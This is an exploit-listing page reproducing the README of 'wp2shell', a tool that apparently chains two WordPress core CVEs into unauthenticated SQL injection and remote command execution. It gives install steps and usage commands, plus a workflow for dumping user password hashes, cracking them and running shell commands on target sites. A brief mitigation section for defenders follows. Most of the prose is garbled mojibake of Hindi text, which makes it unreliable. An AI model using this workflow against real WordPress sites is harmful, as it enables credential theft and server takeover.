Sploitus

Exploit for wp2shell

kitploit ┬╖ 2026-08-24

Exploit Code

MARKDOWN199 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EKOMSSAVIOR-WP2SHELL
# wp2shell рджреНрд╡рд╛рд░рд╛: ek0ms savi0r

**WordPress Core POC (CVE-2026-63030 + CVE-2026-60137) рдХреЗ рд▓рд┐рдП рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди**

`wp2shell` WordPress рдХреЛрд░ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рднреЗрджреНрдпрддрд╛ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдгред рдпрд╣ REST API рдмреИрдЪ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрд╝рди рдмрдЧ рдХреЛ `WP_Query` рдореЗрдВ SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдХрд░ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд WordPress рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдкрд░ **рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди** рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред

рд╡рд┐рд╡рд░рдг| рдЬрд╛рдирдХрд╛рд░реА  
---|---  
**CVE**|  CVE-2026-63030 (REST рдмреИрдЪ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрд╝рди) + CVE-2026-60137 (`author__not_in` SQLi)  
**рдкреНрд░рднрд╛рд╡рд┐рдд**|  WordPress 6.9.0 тАУ 6.9.4, 7.0.0 тАУ 7.0.1  
**рдкреИрдЪ рдХрд┐рдП рдЧрдП**|  6.9.5, 7.0.2  
**рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЖрд╡рд╢реНрдпрдХ**|  рдХреЛрдИ рдирд╣реАрдВ тАФ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ  
**CVSS**|  рдЧрдВрднреАрд░ (RCE рд╢реНрд░реГрдВрдЦрд▓рд╛)  
**рдЦреЛрдЬрдХрд░реНрддрд╛**|  Adam Kues (Assetnote / Searchlight Cyber)  
**рдирд┐рд░реНрднрд░рддрд╛**|  Python 3.8+ тАФ **рдХреЗрд╡рд▓ рдорд╛рдирдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп**  
  
* * *

## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ

рд╢реЛрд╖рдг WordPress рдХреЛрд░ рдореЗрдВ рджреЛ рдмрдЧреЛрдВ рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ:

  1. **CVE-2026-60137 тАФ SQL рдЗрдВрдЬреЗрдХреНрд╢рди** тАУ рдЬрдм `author__not_in` рдХреЛ рдРрд░реЗ рдХреЗ рдмрдЬрд╛рдп **рд╕реНрдЯреНрд░рд┐рдВрдЧ** рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ WordPress `is_array()` рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдЧрд╛рд░реНрдб рдХреЛ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИ рдФрд░ рдХрдЪреНрдЪреЗ рдорд╛рди рдХреЛ `NOT IN (...)` SQL рдХреНрд▓реЙрдЬрд╝ рдореЗрдВ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред

  2. **CVE-2026-63030 тАФ рдмреИрдЪ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрд╝рди** тАУ `/wp-json/batch/v1` рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕рдорд╛рдирд╛рдВрддрд░ `$matches` рдФрд░ `$validation` рдРрд░реЗ рдмрдирд╛рддрд╛ рд╣реИред рдПрдХ рджреЛрд╖рдкреВрд░реНрдг рдЙрдк-рдЕрдиреБрд░реЛрдз рдХреЛ `$validation` рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди `$matches` рдореЗрдВ рдирд╣реАрдВ, рдЬрд┐рд╕рд╕реЗ +1 рдЗрдВрдбреЗрдХреНрд╕ рд╢рд┐рдлреНрдЯ рд╣реЛрддрд╛ рд╣реИред рдЙрдк-рдЕрдиреБрд░реЛрдз _i_ рдХреЛ рдЙрдк-рдЕрдиреБрд░реЛрдз _i+1_ рдХреЗ рд╣реИрдВрдбрд▓рд░ рдХреЗ рд╕рд╛рде рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред




**рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдЬреБрдбрд╝реЗ** : `POST /wp/v2/posts` рдЕрдиреБрд░реЛрдз рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдЖрдВрддрд░рд┐рдХ `GET /wp/v2/users` рдЕрдиреБрд░реЛрдз `author_exclude` рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рд╣реЛрддрд╛ рд╣реИ, рджреЛрдиреЛрдВ рд╡рд┐рдзрд┐ рдЕрдиреБрдорддрд┐-рд╕реВрдЪреА рдФрд░ рдЗрдирдкреБрдЯ рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рд╕реНрдЯреНрд░рд┐рдВрдЧ `WP_Query` рддрдХ `author__not_in` рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣реБрдБрдЪрддреА рд╣реИ рдФрд░ SQL рдореЗрдВ рд╕рдореНрдорд┐рд▓рд┐рдд рд╣реЛ рдЬрд╛рддреА рд╣реИ тАФ рдЬрд┐рд╕рд╕реЗ рдЖрдкрдХреЛ **рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдмреНрд▓рд╛рдЗрдВрдб SQL рдЗрдВрдЬреЗрдХреНрд╢рди** рдорд┐рд▓рддрд╛ рд╣реИред

рд╡рд╣рд╛рдБ рд╕реЗ, рдЙрдкрдХрд░рдг рдпрд╣ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

  * рдкреНрд░рд╢рд╛рд╕рдХ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдирд┐рдХрд╛рд▓реЗрдВ
  * рдкреНрд░рд╢рд╛рд╕рдХ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░реЗрдВ (рдПрдХ рдмрд╛рд░ рд╣реИрд╢ рдХреНрд░реИрдХ рд╣реЛрдиреЗ рдкрд░)
  * рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреНрд▓рдЧрдЗрди рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ
  * рдордирдорд╛рдиреА рд╕рд┐рд╕реНрдЯрдо рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ



* * *

## рд╕реБрд╡рд┐рдзрд╛рдПрдБ

* * *

## рд╕реНрдерд╛рдкрдирд╛

root@kitploit:~
    
    
    git clone https://github.com/ekomsSavior/wp2shell.git
    cd wp2shell
    chmod +x wp2shell.py
    

рдмрд╕ рдЗрддрдирд╛ рд╣реАред рдХрд┐рд╕реА рддреГрддреАрдп-рдкрдХреНрд╖ рдкреИрдХреЗрдЬ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

* * *

## рдЙрдкрдпреЛрдЧ

root@kitploit:~
    
    
    ./wp2shell.py <url> [command] [options]
    

### рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рдореЛрдб (рдореЗрдиреВ-рд╕рдВрдЪрд╛рд▓рд┐рдд)

root@kitploit:~
    
    
    ./wp2shell.py http://target.com
    

рдПрдХ рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рдореЗрдиреВ рд▓реЙрдиреНрдЪ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕рднреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреНрд░рдорд╛рдВрдХрд┐рдд рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреА рд╣реИред

### рдХрдорд╛рдВрдб

#### `check` тАФ рднреЗрджреНрдпрддрд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ (рд╕реБрд░рдХреНрд╖рд┐рдд)

рд╕рдордп-рд╡рд┐рд▓рдВрдм рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╢реЛрд╖рдг рдХреА рдкреБрд╖реНрдЯрд┐ рд╣реЛ рд╕рдХреЗред рдХреЛрдИ рдбреЗрдЯрд╛ рдирд╣реАрдВ рдкрдврд╝рддрд╛ рдФрд░ рдХреБрдЫ рднреА рдирд╣реАрдВ рдмрджрд▓рддрд╛ред

root@kitploit:~
    
    
    ./wp2shell.py http://target.com check
    

#### `read` тАФ рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓реЗрдВ (рдмреНрд▓рд╛рдЗрдВрдб SQL рдЗрдВрдЬреЗрдХреНрд╢рди)

рд╕рдордп-рдЖрдзрд╛рд░рд┐рдд рдмреНрд▓рд╛рдЗрдВрдб SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред

root@kitploit:~
    
    
    # рд╕рд░реНрд╡рд░ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ (рд╕рдВрд╕реНрдХрд░рдг, рдбреЗрдЯрд╛рдмреЗрд╕, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛)
    ./wp2shell.py http://target.com read
    
    # рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧрд┐рди рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдирд┐рдХрд╛рд▓реЗрдВ
    ./wp2shell.py http://target.com read --users
    
    # рдбреЗрдЯрд╛рдмреЗрд╕ рдирд╛рдо рдирд┐рдХрд╛рд▓реЗрдВ
    ./wp2shell.py http://target.com read --database
    
    # MySQL рд╕рдВрд╕реНрдХрд░рдг рдирд┐рдХрд╛рд▓реЗрдВ
    ./wp2shell.py http://target.com read --version
    
    # рдХрд╕реНрдЯрдо SQL рдХреНрд╡реЗрд░реА
    ./wp2shell.py http://target.com read --query "SELECT @@version"
    

#### `shell` тАФ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди

**рд╡реИрдз рдкреНрд░рд╢рд╛рд╕рдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред** SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рд╕рд╛рджрд╛ рдкрд╛рда рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

root@kitploit:~
    
    
    # рдПрдХрд▓ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ
    ./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
    
    # рдПрдХрд▓ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд░реВрдк)
    ./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
    

* * *

## рд╡рд┐рдХрд▓реНрдк

* * *

## рдЙрджрд╛рд╣рд░рдг рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣

root@kitploit:~
    
    
    # 1. рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рд▓рдХреНрд╖реНрдп рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ рдпрд╛ рдирд╣реАрдВ
    ./wp2shell.py https://example.com check
    
    # 2. рдкреНрд░рд╢рд╛рд╕рдХ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдирд┐рдХрд╛рд▓реЗрдВ
    ./wp2shell.py https://example.com read --users
    
    # 3. рд╣реИрд╢ рдХреЛ рдСрдлрд╝рд▓рд╛рдЗрди рдХреНрд░реИрдХ рдХрд░реЗрдВ (hashcat, john, рдЖрджрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)
    # hashcat -m 400 <hash> /path/to/wordlist.txt
    
    # 4. рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдПрдХ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ
    ./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
    

* * *

## рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

рд╢рд╛рдЦрд╛| рдкреНрд░рднрд╛рд╡рд┐рдд| рдареАрдХ рдХрд┐рдП рдЧрдП  
---|---|---  
6.9.x| 6.9.0 тАУ 6.9.4| 6.9.5  
7.0.x| 7.0.0 тАУ 7.0.1| 7.0.2  
6.8.x| 6.8.0 тАУ 6.8.5 (рдХреЗрд╡рд▓ SQLi, рдХреЛрдИ RCE рдирд╣реАрдВ)| 6.8.6  
  
рд╕рдВрд╕реНрдХрд░рдг 6.9.0 рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдкреВрд░реНрдг RCE рд╢реНрд░реГрдВрдЦрд▓рд╛ рд╕реЗ **рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ** рд╣реИрдВред

* * *

## рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рд╢рдорди

**рд░рдХреНрд╖рдХреЛрдВ рдХреЗ рд▓рд┐рдП:**

  * рддреБрд░рдВрдд **6.9.5** , **7.0.2** рдпрд╛ рдмрд╛рдж рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВ
  * Cloudflare WAF рдЧреНрд░рд╛рд╣рдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВ
  * Wordfence рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рдкрд╛рд╕ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдирд┐рдпрдо рд╣реИрдВ
  * рдиреЗрд╕реНрдЯреЗрдб `requests` рдирд┐рдХрд╛рдпреЛрдВ рдХреЗ рд╕рд╛рде `POST /wp-json/batch/v1` рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░реЗрдВ
  * рдмреИрдЪ рд░реВрдЯ рдкрд░ `404` рдХрд╛ рд╣рдореЗрд╢рд╛ рдорддрд▓рдм "рдкреИрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛" рдирд╣реАрдВ рд╣реЛрддрд╛ тАФ рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рднреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ WAF/CDN рдЕрдирд╛рдо REST API рдкрд╣реБрдВрдЪ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рд░рд╣рд╛ рд╣реИ



* * *

## рдХрд╛рдиреВрдиреА рдЕрд╕реНрд╡реАрдХрд░рдг

> **рдпрд╣ рдЙрдкрдХрд░рдг рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдФрд░ рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реИред**

* * *

## рдХреНрд░реЗрдбрд┐рдЯ

  * **рдЦреЛрдЬ** : Adam Kues (Assetnote / Searchlight Cyber)
  * **CVE-2026-60137** (SQLi): TF1T, dtro, haongo
  * **CVE-2026-63030** (рдмреИрдЪ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрд╝рди): Adam Kues



* * *

_рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП,Searchlight Cyber research blog рджреЗрдЦреЗрдВред_

root@kitploit:~